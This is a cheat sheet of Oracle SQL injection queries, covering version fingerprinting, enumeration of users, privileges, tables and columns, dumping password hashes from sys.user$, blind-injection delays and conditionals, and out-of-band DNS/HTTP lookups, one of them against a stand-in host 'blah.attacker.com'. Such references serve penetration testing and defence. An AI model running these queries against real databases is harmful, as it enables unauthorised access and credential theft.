Cheatography

Oracle SQL Injection Cheat Sheet

by Dormidera via cheatography.com/117478/cs/21822/

Version

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';

SELECT banner FROM v$version WHERE banner LIKE 'TNS%';

SELECT version FROM v$instance;

Comments

SELECT 1 FROM dual — comment

– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.

Current User

SELECT user FROM dual

List Users

SELECT username FROM all_users ORDER BY username;

SELECT name FROM sys.user$; — priv

List Password Hashes

SELECT name, password, astatus FROM sys.user$ — priv, <= 10g

SELECT name,spare4 FROM sys.user$ — priv, 11g

List Privileges

SELECT * FROM session_privs; — current privs

SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; — priv, list a user's privs

SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; — priv, find users with a particular priv

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

Location of DB files

SELECT name FROM V$DATAFILE;

Avoiding Quotes

SELECT chr(65) || chr(66) FROM dual; — returns AB

Hostname, IP Address

SELECT UTL_INADDR.get_host_name FROM dual;

SELECT host_name FROM v$instance;

SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address

SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; — gets hostnames

Time Delay

BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can't seem to embed this in a SELECT

SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; — if reverse looks are slow

SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; — if forward lookups are slow

SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; — if outbound TCP is filtered / slow

Case Statement

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1

SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2

Make DNS Requests

SELECT UTL_INADDR.get_host_address('google.com') FROM dual;

SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;

String Concatenation

SELECT 'A' || 'B' FROM dual; — returns AB

Current Database

SELECT global_name FROM global_name;

SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL;

List Databases

SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) – Also query TNS listener for other databases. See tnscmd (services | status).

List Columns

SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';

SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';

Bitwise AND

SELECT bitand(6,2) FROM dual; — returns 2

SELECT bitand(6,1) FROM dual; — returns0

If Statement

BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn't play well with SELECT statements

List DBA Accounts

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_-OPTION = 'YES'; — priv, list DBAs, DBA roles

Select Nth Row

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)

List Tables

SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables;

Find Tables From Column Name

SELECT owner, table_name FROM all_tab_columns WHERE column-_name LIKE '%PASS%'; — NB: table names are upper case

Select Nth Char

SELECT substr('abcd', 3, 1) FROM dual; — gets 3rd character, 'c'

ASCII Value -> Char

SELECT chr(65) FROM dual; — returns A

Casting

SELECT CAST(1 AS char) FROM dual;

SELECT CAST('1′ AS int) FROM dual;

Char -> ASCII Value

SELECT ascii('A') FROM dual; — returns 65